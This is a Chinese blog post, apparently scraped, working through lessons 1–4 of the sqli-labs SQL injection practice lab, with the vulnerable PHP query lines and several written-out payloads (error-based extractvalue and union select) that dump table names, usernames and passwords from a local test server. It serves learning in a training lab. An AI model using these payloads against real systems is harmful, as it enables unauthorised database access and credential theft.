学习sqli-labs之前先介绍一些函数,以便于下面的payload看的懂

group_concat函数

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

将查询出来的多个结果连接成一个字符串结果,用于在一个回显显示多个结果

sqli-labs学习(less-1-less-4) Safe 第1张

同理的还有

concat_ws()

limit star,size用法

start:从第几条记录开始。

size:读取几条记录。

sqli-labs学习(less-1-less-4) Safe 第2张

sqli-labs学习(less-1-less-4) Safe 第3张

 

sqli-lab-1


关键代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

是被单引号包围,即字符型注入,写payload要末尾注释单引号

sqli-labs学习(less-1-less-4) Safe 第4张

用concat_ws()可以加分隔符,便于判断

sqli-labs学习(less-1-less-4) Safe 第5张

接下来查询当前数据库的表~  //这里有个疑问,上面用的database()只能查询当前的数据库,如果Flag是在别的数据库呢,以后想想~

sqli-labs学习(less-1-less-4) Safe 第6张

 

注意数据库的昵称要用单引号包围,不然会报错,当然也可以把数据库的昵称转换为16进制也是可以的

 

sqli-labs学习(less-1-less-4) Safe 第7张

 

 用limit查找所有的表名

sqli-labs学习(less-1-less-4) Safe 第8张

sqli-labs学习(less-1-less-4) Safe 第9张

显然太麻烦了,因为只返回一个结果 利用之前的group_concat()将结果放在一起返回

sqli-labs学习(less-1-less-4) Safe 第10张

接下来爆字段

sqli-labs学习(less-1-less-4) Safe 第11张

用concat_wa()发现没用,于是用group_concat()

sqli-labs学习(less-1-less-4) Safe 第12张

接下来就是爆字段内容了

paload格式为: select 字段名 from 表名

sqli-labs学习(less-1-less-4) Safe 第13张

如果过滤了union呢,或者是过滤了“-”符号呢 之前参加了南邮CTF的一道sql,过滤了* 还有-  即不能union 注入

接下来利用手工报错注入

 介绍两个函数

extractvalue()

updatexml()

用法参考:

https://blog.csdn.net/qq_30464257/article/details/84501843
http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23

sqli-labs学习(less-1-less-4) Safe 第14张

爆值

http://127.0.0.1/SQL/Less-1/?id=1' and 1=extractvalue(1,concat(1,(select group_concat(password,'||',username) from users)))  %23

sqli-labs学习(less-1-less-4) Safe 第15张

看sqli-labs

关键代码

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

  id没有被单引号包围,说明是数字型的注入,即不用和闭合单引号

sqli-labs学习(less-1-less-4) Safe 第16张

 

 less-3

关键代码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

less-4

关键代码

$id = '"' . $id . '"';
//echo $id."\n";
//echo "<br>";
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

sqli-labs学习(less-1-less-4) Safe 第17张

id是被一对双引号包围的

sqli-labs学习(less-1-less-4) Safe 第18张

发现加‘不报错

这是为什么呢? 因为php中的双引号可以包含单引号 ,加入双引号就会报错

sqli-labs学习(less-1-less-4) Safe 第19张

http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄